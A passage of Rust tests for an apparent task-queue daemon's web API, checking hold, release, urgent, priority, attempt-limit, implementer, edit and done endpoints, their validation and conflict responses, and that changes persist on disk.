17733        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17734        let h = task_history(&task, |_| Some(run.clone()));
17735        assert!(h[0].pass.is_none());
17736        assert_eq!(h[0].exit, RunExit::Interrupted);
17737        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17738        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17739        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17740        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17741        // A run with no passes at all is entirely unknown.
17742        let legacy = flow_run(RunStatus::Implementing, |_| {});
17743        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17744        assert!(h.iter().all(|v| v.pass.is_none()));
17745        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17746    }
17747
17748    #[test]
17749    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17750        use crate::queue::PassCost;
17751        // Pass 1 is a web-button resume: a pass of the run, no entry of the
17752        // task. The two entries are passes 0 and 2.
17753        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17754        web.task_entry = false;
17755        let run = flow_run(RunStatus::Implementing, |s| {
17756            s.passes = vec![
17757                recorded_pass(0, parked(upgrade_cause())),
17758                web.clone(),
17759                recorded_pass(2, None),
17760            ];
17761        });
17762        let mut task = flow_task(&[RUN_X, RUN_X]);
17763        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17764        let h = task_history(&task, |_| Some(run.clone()));
17765        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17766        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17767
17768        // Legacy first entry, then a web resume that parked for an upgrade,
17769        // then the daemon's pass: the legacy entry must stay unknown.
17770        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17771        web0.task_entry = false;
17772        let run = flow_run(RunStatus::Implementing, |s| {
17773            s.passes = vec![web0.clone(), recorded_pass(1, None)];
17774        });
17775        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17776        assert!(h[0].pass.is_none());
17777        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17778        assert!(h[1].pass.is_some());
17779    }
17780
17781    #[tokio::test]
17782    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17783        let dir = tempfile::tempdir().unwrap();
17784        let queue = Queue::at(dir.path().join("queue"));
17785        let ui = Arc::new(Ui::new(
17786            queue.clone(),
17787            Questions::at(dir.path().join("questions")),
17788            Talks::at(dir.path().join("talks")),
17789            dir.path().join("runs"),
17790            dir.path().to_path_buf(),
17791            dir.path().to_path_buf(),
17792        ));
17793        let mut t = Task::new(
17794            "recover".into(),
17795            "Inspect".into(),
17796            PathBuf::from("."),
17797            Source::Human,
17798        );
17799        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17800        t.start("run-A".into());
17801        t.release_operator("choice", Some("resume-question"));
17802        t.resume_override = Some(crate::queue::OperatorResume {
17803            question_id: "resume-question".into(),
17804            at: jiff::Timestamp::now(),
17805            conductor_rehold: None,
17806            forced: true,
17807            pinned_run: Some("run-A".into()),
17808        });
17809        t.hold_machine(Some("inspection pending".into()));
17810        t.edit("recover".into(), "Reuse approved PR head".into())
17811            .unwrap();
17812        queue.put(&mut t).unwrap();
17813        let mut cli = t.clone();
17814        cli.release_operator("cli", None);
17815        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17816        let reloaded = queue.get(&t.id).unwrap();
17817        assert_eq!(reply.task.status, TaskStatus::Queued);
17818        assert!(reloaded.resume_override.is_none());
17819        assert_eq!(reloaded.answers, t.answers);
17820        let mut web = reloaded.resumption.unwrap();
17821        let cli = cli.resumption.unwrap();
17822        assert_eq!(web.source, "web");
17823        web.source = cli.source.clone();
17824        web.at = cli.at;
17825        assert_eq!(web, cli);
17826    }
17827
17828    #[tokio::test]
17829    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17830        let f = Fixture::start().await;
17831        let queue = f.queue();
17832        let mut task = Task::new(
17833            "spent".to_owned(),
17834            "Try again".to_owned(),
17835            PathBuf::from("/repo/magi"),
17836            Source::Human,
17837        );
17838        task.start("20260902-140502-bbbb".to_owned());
17839        task.fail("agent gave up", 9);
17840        queue.put(&mut task).expect("file the task");
17841
17842        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17843        assert_eq!(held.status, 200);
17844        assert_eq!(held.json()["status_str"], "held");
17845
17846        let released = f
17847            .post(&format!("/api/queue/{}/release", task.id), None)
17848            .await;
17849        assert_eq!(released.status, 200);
17850        assert_eq!(released.json()["status_str"], "queued");
17851        assert_eq!(released.json()["resumption"]["source"], "web");
17852        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17853        let mut cli = task.clone();
17854        cli.release_operator("cli", None);
17855        let web = queue.get(&task.id).unwrap().resumption.unwrap();
17856        let cli = cli.resumption.unwrap();
17857        assert_eq!(web.instruction, cli.instruction);
17858        assert_eq!(web.answers_through, cli.answers_through);
17859        assert_eq!(web.runs_through, cli.runs_through);
17860        assert_eq!(web.cleared_reason, cli.cleared_reason);
17861        assert_eq!(
17862            released.json()["attempts"],
17863            0,
17864            "release is a real second chance, not an instant re-hold"
17865        );
17866        assert_eq!(
17867            queue.get(&task.id).expect("reload").status,
17868            TaskStatus::Queued,
17869            "the change is on disk, not only in the reply"
17870        );
17871        assert!(
17872            !f.home
17873                .path()
17874                .join("queue")
17875                .join(format!("{}.lock", task.id))
17876                .exists(),
17877            "the claim the mutation took is released again"
17878        );
17879    }
17880
17881    #[tokio::test]
17882    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17883        let f = Fixture::start().await;
17884        let queue = f.queue();
17885        let mut task = Task::new(
17886            "busy".to_owned(),
17887            "Running right now".to_owned(),
17888            PathBuf::from("/repo/magi"),
17889            Source::Human,
17890        );
17891        queue.put(&mut task).expect("file the task");
17892        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17893
17894        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17895
17896        assert_eq!(res.status, 409);
17897        assert_eq!(
17898            queue.get(&task.id).expect("reload").status,
17899            TaskStatus::Queued,
17900            "the refused hold changed nothing"
17901        );
17902    }
17903
17904    #[tokio::test]
17905    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17906        let f = Fixture::start().await;
17907        let queue = f.queue();
17908        let mut task = Task::new(
17909            "waiting on the migration".to_owned(),
17910            "Do the thing".to_owned(),
17911            PathBuf::from("/repo/magi"),
17912            Source::Human,
17913        );
17914        queue.put(&mut task).expect("file the task");
17915
17916        let held = f
17917            .post(
17918                &format!("/api/queue/{}/hold", task.id),
17919                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17920            )
17921            .await;
17922        assert_eq!(held.status, 200, "{}", held.body);
17923        assert_eq!(held.json()["status_str"], "held");
17924        assert_eq!(
17925            held.json()["hold_reason"],
17926            "waiting for 20260101-000000-aaaa to land"
17927        );
17928
17929        let listed = f.get("/api/queue").await.json();
17930        assert_eq!(
17931            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17932            "the card reads the reason off the same list route"
17933        );
17934
17935        // A hold with no body at all must keep working - most holds have no
17936        // reason to give.
17937        let mut plain = Task::new(
17938            "no reason given".to_owned(),
17939            "Do another thing".to_owned(),
17940            PathBuf::from("/repo/magi"),
17941            Source::Human,
17942        );
17943        queue.put(&mut plain).expect("file the task");
17944        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17945        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17946        assert!(held_plain.json()["hold_reason"].is_null());
17947
17948        let released = f
17949            .post(&format!("/api/queue/{}/release", task.id), None)
17950            .await;
17951        assert_eq!(released.status, 200);
17952        assert!(
17953            released.json()["hold_reason"].is_null(),
17954            "a release must clear the reason so the next hold does not inherit it"
17955        );
17956    }
17957
17958    #[test]
17959    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17960        for urgent in [true, false] {
17961            let body: UrgentBody =
17962                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17963            assert_eq!(body.urgent, urgent);
17964        }
17965        for input in [
17966            r#"{}"#,
17967            r#"{"urgent":null}"#,
17968            r#"{"urgent":"true"}"#,
17969            r#"{"urgent":1}"#,
17970            r#"{"urgent":true,"extra":false}"#,
17971        ] {
17972            assert!(
17973                serde_json::from_str::<UrgentBody>(input).is_err(),
17974                "{input}"
17975            );
17976        }
17977    }
17978
17979    #[tokio::test]
17980    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17981        let home = TempDir::new().unwrap();
17982        let q = Queue::at(home.path().join("queue"));
17983        let ui = Arc::new(Ui::new(
17984            q.clone(),
17985            Questions::at(home.path().join("questions")),
17986            Talks::at(home.path().join("talks")),
17987            home.path().join("runs"),
17988            home.path().into(),
17989            home.path().into(),
17990        ));
17991        let mut task = Task::new(
17992            "urgent handler".into(),
17993            "keep".into(),
17994            home.path().into(),
17995            Source::Human,
17996        );
17997        for status in [TaskStatus::Queued, TaskStatus::Held] {
17998            task.status = status;
17999            q.put(&mut task).unwrap();
18000            for urgent in [true, true, false, false] {
18001                let saved = queue_urgent(
18002                    State(Arc::clone(&ui)),
18003                    Path(task.short().into()),
18004                    Ok(Json(UrgentBody { urgent })),
18005                )
18006                .await
18007                .unwrap();
18008                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
18009                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
18010            }
18011        }
18012        task.status = TaskStatus::Queued;
18013        q.put(&mut task).unwrap();
18014        let claim = q.claim(&task.id).unwrap();
18015        let error = queue_urgent(
18016            State(Arc::clone(&ui)),
18017            Path(task.id.clone()),
18018            Ok(Json(UrgentBody { urgent: true })),
18019        )
18020        .await
18021        .unwrap_err();
18022        assert_eq!(error.status, StatusCode::CONFLICT);
18023        assert!(error.message.contains("released"));
18024        drop(claim);
18025        for status in [
18026            TaskStatus::Running,
18027            TaskStatus::Done,
18028            TaskStatus::Failed,
18029            TaskStatus::Blocked,
18030            TaskStatus::Parked,
18031        ] {
18032            task.status = status;
18033            q.put(&mut task).unwrap();
18034            let error = queue_urgent(
18035                State(Arc::clone(&ui)),
18036                Path(task.id.clone()),
18037                Ok(Json(UrgentBody { urgent: false })),
18038            )
18039            .await
18040            .unwrap_err();
18041            assert_eq!(error.status, StatusCode::BAD_REQUEST);
18042            assert!(error.message.contains(status.as_str()));
18043        }
18044    }
18045
18046    #[tokio::test]
18047    async fn urgent_api_updates_preserves_and_validates_tasks() {
18048        let f = Fixture::start().await;
18049        let q = f.queue();
18050        let mut t = Task::new(
18051            "urgent API".into(),
18052            "unchanged".into(),
18053            PathBuf::from("/repo/magi"),
18054            Source::Human,
18055        );
18056        t.attempts = 2;
18057        t.priority = 9;
18058        t.interrupt = true;
18059        t.hold_reason = Some("waiting for approval".into());
18060        for status in [TaskStatus::Queued, TaskStatus::Held] {
18061            t.status = status;
18062            q.put(&mut t).unwrap();
18063            for urgent in [true, true, false, false] {
18064                let response = f
18065                    .post(
18066                        &format!("/api/queue/{}/urgent", t.short()),
18067                        Some(&format!("{{\"urgent\":{urgent}}}")),
18068                    )
18069                    .await;
18070                assert_eq!(response.status, 200, "{}", response.body);
18071                assert_eq!(response.json()["urgent"], urgent);
18072                let saved = q.get(&t.id).unwrap();
18073                let mut before = serde_json::to_value(&t).unwrap();
18074                let mut after = serde_json::to_value(saved).unwrap();
18075                before["urgent"] = urgent.into();
18076                before.as_object_mut().unwrap().remove("updated_at");
18077                after.as_object_mut().unwrap().remove("updated_at");
18078                assert_eq!(after, before);
18079            }
18080        }
18081        let route = format!("/api/queue/{}/urgent", t.id);
18082        for body in [
18083            r#"{}"#,
18084            r#"{"urgent":null}"#,
18085            r#"{"urgent":"true"}"#,
18086            r#"{"urgent":1}"#,
18087            r#"{"urgent":true,"extra":false}"#,
18088            "{",
18089        ] {
18090            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18091        }
18092        t.status = TaskStatus::Queued;
18093        q.put(&mut t).unwrap();
18094        let claim = q.claim(&t.id).unwrap();
18095        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
18096        assert_eq!(response.status, 409, "{}", response.body);
18097        assert!(!q.get(&t.id).unwrap().urgent);
18098        drop(claim);
18099        for status in [
18100            TaskStatus::Running,
18101            TaskStatus::Done,
18102            TaskStatus::Failed,
18103            TaskStatus::Blocked,
18104            TaskStatus::Parked,
18105        ] {
18106            t.status = status;
18107            q.put(&mut t).unwrap();
18108            for urgent in [true, false] {
18109                let response = f
18110                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18111                    .await;
18112                assert_eq!(response.status, 400, "{}", response.body);
18113                assert!(response.body.contains(status.as_str()));
18114                assert!(response.body.contains("queued or held"));
18115                assert!(!q.get(&t.id).unwrap().urgent);
18116            }
18117        }
18118        assert_eq!(
18119            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18120                .await
18121                .status,
18122            404
18123        );
18124    }
18125
18126    #[tokio::test]
18127    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18128        let f = Fixture::start().await;
18129        let queue = f.queue();
18130        let mut older = Task::new(
18131            "filed first".to_owned(),
18132            "x".to_owned(),
18133            PathBuf::from("/repo/magi"),
18134            Source::Human,
18135        );
18136        older.id = "20260101-000001-aaaa".to_owned();
18137        let mut newer = Task::new(
18138            "filed second".to_owned(),
18139            "x".to_owned(),
18140            PathBuf::from("/repo/magi"),
18141            Source::Human,
18142        );
18143        newer.id = "20260101-000002-bbbb".to_owned();
18144        queue.put(&mut older).expect("file older");
18145        queue.put(&mut newer).expect("file newer");
18146
18147        // Equal priority: the newer task leads, the same order the old
18148        // newest-first `list()` already gave every equal-priority queue.
18149        let before = f.get("/api/queue").await.json();
18150        assert_eq!(before[0]["id"], newer.id);
18151        assert_eq!(before[1]["id"], older.id);
18152
18153        // Raising the *older* task is the meaningful case: it can only lead
18154        // now because its priority says so, not because it happens to be
18155        // newest.
18156        let raised = f
18157            .post(
18158                &format!("/api/queue/{}/priority", older.id),
18159                Some(r#"{"priority":10}"#),
18160            )
18161            .await;
18162        assert_eq!(raised.status, 200, "{}", raised.body);
18163        assert_eq!(raised.json()["priority"], 10);
18164
18165        let after = f.get("/api/queue").await.json();
18166        let names: Vec<&str> = after
18167            .as_array()
18168            .unwrap()
18169            .iter()
18170            .map(|t| t["id"].as_str().unwrap())
18171            .collect();
18172        // Highest priority first, which is the order next_runnable and
18173        // `magi task list` both use - GET /api/queue must agree with it
18174        // immediately, not just once the loop claims the task.
18175        assert_eq!(names[0], older.id, "the raised task now sorts first");
18176    }
18177
18178    #[tokio::test]
18179    async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18180        let f = Fixture::start().await;
18181        let queue = f.queue();
18182        let mut tasks = Vec::new();
18183        for id in [
18184            "20260101-000001-aaaa",
18185            "20260101-000002-bbbb",
18186            "20260101-000003-cccc",
18187        ] {
18188            let mut task = Task::new(
18189                id.into(),
18190                "x".into(),
18191                PathBuf::from("/repo/magi"),
18192                Source::Human,
18193            );
18194            task.id = id.into();
18195            queue.put(&mut task).unwrap();
18196            tasks.push(task);
18197        }
18198        assert_eq!(
18199            queue.next_runnable().unwrap().id,
18200            tasks[0].id,
18201            "equal priorities use ascending id"
18202        );
18203        let route = format!("/api/queue/{}/priority", tasks[2].id);
18204        assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18205        assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18206        tasks[1].start("upgrade-run".into());
18207        tasks[1].park("upgrade");
18208        tasks[1].record_pass_at(
18209            "upgrade-run",
18210            0,
18211            Some("2026-01-01T00:00:00Z".parse().unwrap()),
18212            1,
18213            Some(crate::run::ParkCause::Upgrade {
18214                from: "old".into(),
18215                to: None,
18216            }),
18217        );
18218        queue.put(&mut tasks[1]).unwrap();
18219        let rows = f.get("/api/queue").await.json();
18220        let upgrade = rows
18221            .as_array()
18222            .unwrap()
18223            .iter()
18224            .find(|row| row["id"] == tasks[1].id)
18225            .unwrap();
18226        assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18227        assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18228        tasks[2] = queue.get(&tasks[2].id).unwrap();
18229        tasks[2].start("running-run".into());
18230        queue.put(&mut tasks[2]).unwrap();
18231        assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18232        assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18233    }
18234
18235    #[tokio::test]
18236    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18237        let dir = TempDir::new().unwrap();
18238        let q = Queue::at(dir.path().join("queue"));
18239        let ui = Arc::new(Ui::new(
18240            q.clone(),
18241            Questions::at(dir.path().join("questions")),
18242            Talks::at(dir.path().join("talks")),
18243            dir.path().join("runs"),
18244            dir.path().to_path_buf(),
18245            dir.path().to_path_buf(),
18246        ));
18247        let mut t = Task::new(
18248            "budget".into(),
18249            "keep".into(),
18250            dir.path().into(),
18251            Source::Human,
18252        );
18253        t.attempts = 2;
18254        t.runs.push("prior-run".into());
18255        t.hold_manual(Some("waiting".into()));
18256        q.put(&mut t).unwrap();
18257        let change = |value| {
18258            queue_attempt_limit(
18259                State(ui.clone()),
18260                Path(t.id.clone()),
18261                Ok(Json(AttemptLimitBody {
18262                    attempt_limit: value,
18263                })),
18264            )
18265        };
18266        for value in [
18267            serde_json::json!(3),
18268            serde_json::Value::Null,
18269            serde_json::json!(1),
18270        ] {
18271            let response = change(value.clone()).await.unwrap();
18272            assert_eq!(
18273                serde_json::to_value(response.0).unwrap()["attempt_limit"],
18274                value
18275            );
18276            let saved = q.get(&t.id).unwrap();
18277            assert_eq!(
18278                serde_json::to_value(&saved).unwrap()["attempt_limit"],
18279                value
18280            );
18281            assert_eq!(saved.status, TaskStatus::Held);
18282            assert_eq!(saved.attempts, t.attempts);
18283            assert_eq!(saved.runs, t.runs);
18284            assert_eq!(saved.hold_reason, t.hold_reason);
18285            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18286                .await
18287                .unwrap()
18288                .0;
18289            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18290            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
18291            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18292            assert_eq!(outcome.max_attempts, detail.max_attempts);
18293        }
18294        for value in [
18295            serde_json::json!(0),
18296            serde_json::json!(-1),
18297            serde_json::json!(1.5),
18298            serde_json::json!("3"),
18299            serde_json::json!(true),
18300        ] {
18301            assert_eq!(
18302                change(value).await.err().unwrap().status,
18303                StatusCode::BAD_REQUEST
18304            );
18305        }
18306        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
18307        let claim = q.claim(&t.id).unwrap();
18308        assert_eq!(
18309            change(serde_json::json!(4)).await.err().unwrap().status,
18310            StatusCode::CONFLICT
18311        );
18312        drop(claim);
18313        for status in [
18314            TaskStatus::Running,
18315            TaskStatus::Done,
18316            TaskStatus::Failed,
18317            TaskStatus::Blocked,
18318            TaskStatus::Parked,
18319        ] {
18320            let mut stored = q.get(&t.id).unwrap();
18321            stored.status = status;
18322            q.put(&mut stored).unwrap();
18323            assert_eq!(
18324                change(serde_json::json!(4)).await.err().unwrap().status,
18325                StatusCode::BAD_REQUEST
18326            );
18327            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
18328        }
18329        let mut stored = q.get(&t.id).unwrap();
18330        stored.status = TaskStatus::Queued;
18331        q.put(&mut stored).unwrap();
18332        let _ = change(serde_json::Value::Null).await.unwrap();
18333        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
18334    }
18335
18336    #[tokio::test]
18337    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
18338        let dir = TempDir::new().unwrap();
18339        let repo = dir.path().join("repo");
18340        std::fs::create_dir(&repo).unwrap();
18341        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
18342        let q = Queue::at(dir.path().join("queue"));
18343        let ui = Arc::new(Ui::new(
18344            q.clone(),
18345            Questions::at(dir.path().join("questions")),
18346            Talks::at(dir.path().join("talks")),
18347            dir.path().join("runs"),
18348            dir.path().to_path_buf(),
18349            repo.clone(),
18350        ));
18351        let mut t = Task::new(
18352            "seats".into(),
18353            "keep instruction".into(),
18354            repo,
18355            Source::Human,
18356        );
18357        t.runs.push("prior-run".into());
18358        t.hold_manual(Some("waiting".into()));
18359        q.put(&mut t).unwrap();
18360        let change = |count| {
18361            queue_implementers(
18362                State(ui.clone()),
18363                Path(t.id.clone()),
18364                Ok(Json(ImplementersBody {
18365                    implementers: count,
18366                })),
18367            )
18368        };
18369        for count in [2, 1, 2] {
18370            let response = change(count).await.unwrap();
18371            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
18372            let saved = q.get(&t.id).unwrap();
18373            assert_eq!(saved.implementers(), Some(usize::from(count)));
18374            assert_eq!(saved.runs, t.runs);
18375            assert_eq!(saved.instruction, t.instruction);
18376        }
18377        for count in [0, 4] {
18378            assert_eq!(
18379                change(count).await.err().unwrap().status,
18380                StatusCode::BAD_REQUEST
18381            );
18382        }
18383        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
18384        let claim = q.claim(&t.id).unwrap();
18385        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
18386        drop(claim);
18387        for status in [
18388            TaskStatus::Running,
18389            TaskStatus::Done,
18390            TaskStatus::Failed,
18391            TaskStatus::Blocked,
18392            TaskStatus::Parked,
18393        ] {
18394            let mut stored = q.get(&t.id).unwrap();
18395            stored.status = status;
18396            q.put(&mut stored).unwrap();
18397            assert_eq!(
18398                change(1).await.err().unwrap().status,
18399                StatusCode::BAD_REQUEST
18400            );
18401            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
18402        }
18403    }
18404
18405    #[tokio::test]
18406    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
18407        let f = Fixture::start().await;
18408        let queue = f.queue();
18409        let mut task = Task::new(
18410            "in flight".to_owned(),
18411            "x".to_owned(),
18412            PathBuf::from("/repo/magi"),
18413            Source::Human,
18414        );
18415        task.start("20260902-140502-bbbb".to_owned());
18416        queue.put(&mut task).expect("file the task");
18417
18418        let res = f
18419            .post(
18420                &format!("/api/queue/{}/priority", task.id),
18421                Some(r#"{"priority":9}"#),
18422            )
18423            .await;
18424        assert_eq!(res.status, 400, "{}", res.body);
18425        assert!(
18426            res.json()["error"]
18427                .as_str()
18428                .is_some_and(|e| e.contains("running")),
18429            "{}",
18430            res.body
18431        );
18432        assert_eq!(
18433            queue.get(&task.id).expect("reload").priority,
18434            0,
18435            "the refused write must not partially apply"
18436        );
18437    }
18438
18439    #[tokio::test]
18440    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
18441        let f = Fixture::start().await;
18442        let queue = f.queue();
18443        let mut task = Task::new(
18444            "old title".to_owned(),
18445            "old instruction".to_owned(),
18446            PathBuf::from("/repo/magi"),
18447            Source::Agent {
18448                run: "20260101-000000-beef".to_owned(),
18449                node: "implement".to_owned(),
18450            },
18451        );
18452        task.runs.push("20260101-000000-beef".to_owned());
18453        queue.put(&mut task).expect("file the task");
18454        let created_at = task.created_at;
18455
18456        let edited = f
18457            .post(
18458                &format!("/api/queue/{}/edit", task.id),
18459                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
18460            )
18461            .await;
18462        assert_eq!(edited.status, 200, "{}", edited.body);
18463        let body = edited.json();
18464        assert_eq!(body["title"], "new title");
18465        assert_eq!(body["instruction"], "new instruction");
18466        assert_eq!(body["id"], task.id, "editing must not mint a new id");
18467        assert_eq!(body["created_at"], created_at.to_string());
18468        assert_eq!(
18469            body["source"]["kind"], "agent",
18470            "editing a task an agent filed must not turn it human: {body}"
18471        );
18472        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
18473
18474        let reloaded = queue.get(&task.id).expect("reload");
18475        assert_eq!(reloaded.title, "new title");
18476        assert_eq!(reloaded.instruction, "new instruction");
18477    }
18478
18479    #[tokio::test]
18480    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
18481        // The judge is an agent now: a repo whose only agent answers
18482        // "duplicate" stands in for it, so the refusal is the judge's.
18483        let tmp = TempDir::new().expect("tempdir");
18484        let repo = tmp.path().join("repo");
18485        std::fs::create_dir_all(&repo).expect("repo dir");
18486        let judge = MOCK_AGENT_TOML.replace(
18487            "printf ok",
18488            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
18489        );
18490        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
18491        let f = Fixture::with_repo(repo.clone()).await;
18492        let queue = f.queue();
18493        let mut owner = Task::new(
18494            "owner".to_owned(),
18495            "review it".to_owned(),
18496            repo.clone(),
18497            Source::Human,
18498        );
18499        owner.review_branch = Some("magi/ab12/A".to_owned());
18500        queue.put(&mut owner).expect("file the owner");
18501        let mut task = Task::new(
18502            "draft".to_owned(),
18503            "old".to_owned(),
18504            repo.clone(),
18505            Source::Human,
18506        );
18507        queue.put(&mut task).expect("file the draft");
18508        let url = format!("/api/queue/{}/edit", task.id);
18509
18510        let refused = f
18511            .post(
18512                &url,
18513                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
18514            )
18515            .await;
18516        assert_eq!(refused.status, 409, "{}", refused.body);
18517        let msg = refused.json()["error"]
18518            .as_str()
18519            .unwrap_or_default()
18520            .to_owned();
18521        assert!(
18522            msg.contains("magi/ab12/A") && msg.contains("force"),
18523            "{msg}"
18524        );
18525        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
18526
18527        let forced = f
18528            .post(
18529                &url,
18530                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
18531            )
18532            .await;
18533        assert_eq!(forced.status, 200, "{}", forced.body);
18534    }
18535
18536    #[tokio::test]
18537    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
18538        let f = Fixture::start().await;
18539        let queue = f.queue();
18540        let mut task = Task::new(
18541            "in flight".to_owned(),
18542            "do not touch".to_owned(),
18543            PathBuf::from("/repo/magi"),
18544            Source::Human,
18545        );
18546        task.start("20260902-140502-bbbb".to_owned());
18547        queue.put(&mut task).expect("file the task");
18548
18549        let res = f
18550            .post(
18551                &format!("/api/queue/{}/edit", task.id),
18552                Some(r#"{"title":"x","instruction":"y"}"#),
18553            )
18554            .await;
18555        assert_eq!(res.status, 400, "{}", res.body);
18556        assert!(
18557            res.json()["error"]
18558                .as_str()
18559                .is_some_and(|e| e.contains("running")),
18560            "{}",
18561            res.body
18562        );
18563        assert_eq!(
18564            queue.get(&task.id).expect("reload").instruction,
18565            "do not touch",
18566            "the refused edit must not change the file"
18567        );
18568    }
18569
18570    #[tokio::test]
18571    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
18572        let f = Fixture::start().await;
18573        let queue = f.queue();
18574        let mut task = Task::new(
18575            "busy".to_owned(),
18576            "Running right now".to_owned(),
18577            PathBuf::from("/repo/magi"),
18578            Source::Human,
18579        );
18580        queue.put(&mut task).expect("file the task");
18581        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18582
18583        let priority = f
18584            .post(
18585                &format!("/api/queue/{}/priority", task.id),
18586                Some(r#"{"priority":9}"#),
18587            )
18588            .await;
18589        assert_eq!(priority.status, 409, "{}", priority.body);
18590
18591        let edit = f
18592            .post(
18593                &format!("/api/queue/{}/edit", task.id),
18594                Some(r#"{"title":"x","instruction":"y"}"#),
18595            )
18596            .await;
18597        assert_eq!(edit.status, 409, "{}", edit.body);
18598    }
18599
18600    #[tokio::test]
18601    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
18602        let f = Fixture::start().await;
18603        let queue = f.queue();
18604        let mut task = Task::new(
18605            "shipped by hand".to_owned(),
18606            "merged outside the loop".to_owned(),
18607            PathBuf::from("/repo/magi"),
18608            Source::Agent {
18609                run: "20260101-000000-b455".to_owned(),
18610                node: "implement".to_owned(),
18611            },
18612        );
18613        task.runs.push("20260101-000000-b455".to_owned());
18614        task.runs.push("20260101-000000-9af4".to_owned());
18615        queue.put(&mut task).expect("file the task");
18616        let created_at = task.created_at;
18617
18618        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18619        assert_eq!(done.status, 200, "{}", done.body);
18620        assert_eq!(done.json()["status_str"], "done");
18621
18622        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
18623        assert_eq!(
18624            reloaded.runs,
18625            ["20260101-000000-b455", "20260101-000000-9af4"]
18626        );
18627        assert_eq!(
18628            reloaded.source,
18629            Source::Agent {
18630                run: "20260101-000000-b455".to_owned(),
18631                node: "implement".to_owned(),
18632            }
18633        );
18634        assert_eq!(reloaded.created_at, created_at);
18635    }
18636
18637    #[tokio::test]
18638    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
18639        // `done` is allowed on any status, including `held`, with no release
18640        // in between - so a task held for a reason and then closed directly
18641        // must not keep reading as "waiting on" it afterwards, on its card or
18642        // in `magi task show`.
18643        let f = Fixture::start().await;
18644        let queue = f.queue();
18645        let mut task = Task::new(
18646            "landed while held".to_owned(),
18647            "x".to_owned(),
18648            PathBuf::from("/repo/magi"),
18649            Source::Human,
18650        );
